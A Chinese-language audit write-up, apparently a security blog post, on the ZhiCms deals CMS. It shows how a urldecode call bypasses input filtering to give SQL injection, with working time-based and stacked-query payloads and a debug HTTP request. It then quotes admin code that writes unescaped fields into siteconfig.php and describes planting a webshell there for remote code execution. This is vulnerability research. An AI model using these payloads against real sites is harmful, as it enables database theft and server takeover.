0x00 前言
产品说明:
ZhiCms是一款专业的值得买系统,程序支持国内值得买海淘值得买,程序内置淘点金、以及亿起发淘金链、多麦多金链等功能。 支持国内商城海淘商城 ,程序PHP+MYSQL小巧方便,SEO性强,前台模板制作简单
最新源码下载地址:
https://www.zhicms.cc/d/zhicms.zip
环境说明:
PHP7.1.9+MYSQL
0x01 软件目录结构
/app 控制器及模型目录
/data/cache 缓存
/data/config 数据库及其他配置
/public 前端静态文件目录
/upload 上传文件的存放目录
/ZhiCms 存放zhicms框架核心文件
0x02 开始审计
SQL注入
zhicms的控制器使用ZhiCms/base/Controller.php#arg()方法来获取传入的数据。
可以看到在arg()方法做了一些替换的操作,并且使用htmlspecialchars转义$_POST/$_GET的数据,ENT_QUOTES会对单引号跟双引号做转义,这里要么找整形注入要么找找能否绕过。
在app/index/controller/cheapscontroller.php#index()方法发现使用urldecode来包裹arg(),那么这些位置可以使用url编码来绕过arg()方法的安全处理。
发包调试。
GET /index.php?r=index/cheaps/index&key=test&XDEBUG_SESSION_START=16722 HTTP/1.1
Host: localhost
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="103", ".Not/A)Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
下断点之后一直步入,直到ZhiCms/base/db/MysqlPdoDriver.php#query()方法,可以看到传入的test被拼接好了。
构造payload然后做两次url编码,测试触发SQL注入。
payload:test%' and (select * from (select if(ascii(substr(database(),1,1))>0,sleep(1),1))A)#
在ZhiCms/base/db/MysqlPdoDriver.php#_bindParams()方法,由于拼接好的sql语句直接传递给prepare,这里也可以使用堆叠注入。
payload:test%';select sleep(1)#
文件写入RCE
通过SQL注入我们可以获取到后台管理员的账户密码,也就是有后台管理员权限了。后台的功能点较多,我们可以从后台寻找RCE漏洞。
在app/manage/controller/setcontroller.php#index()找到可以写入文件RCE。
public function index(){
if(!IS_POST){
$this->pagetext=array("基础设置","网站设置");
include CONFIG_PATH . 'siteconfig.php';
$this->ret=$Siteinfo;
$this->display();
}else{
$sitename=$_POST['sitename'];
$hosturl=$_POST['hosturl'];
$logo=$_POST['logo'];
$ewm=$_POST['ewm'];
$pid=$_POST['pid'];
$appkey=$_POST['appkey'];
$secretKey=$_POST['secretKey'];
$apiurl=$_POST['apiurl'];
$code=$_POST['code'];
$zhuan=$_POST['zhuan'];
$download=$_POST['download'];
$content="<?php
\r\n\$Siteinfo=array(
'sitename'=>'{$sitename}',
'hosturl'=>'{$hosturl}',
'logo'=>'{$logo}',
'ewm'=>'{$ewm}',
'pid'=>'{$pid}',
'appkey'=>'{$appkey}',
'secretKey'=>'{$secretKey}',
'apiurl'=>'{$apiurl}',
'code'=>'{$code}',
'zhuan'=>'{$zhuan}',
'download'=>'{$download}',
);";
$of = fopen(CONFIG_PATH . 'siteconfig.php', 'w');
if ($of) {
fwrite($of, $content);
}
fclose($of);
echo json_encode(array("info" => "设置成功", "status" => "y"));
}
}
构造请求写入一句话木马getshell。
RCE。
shell文件在data/config/siteconfig.php。
参考
PDO场景下的SQL注入探究
https://xz.aliyun.com/t/3950?time__1311=n4%2BxnD0DBDgGG%3DG8%2BGODlhje0%3Dd8eRhghbD&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-4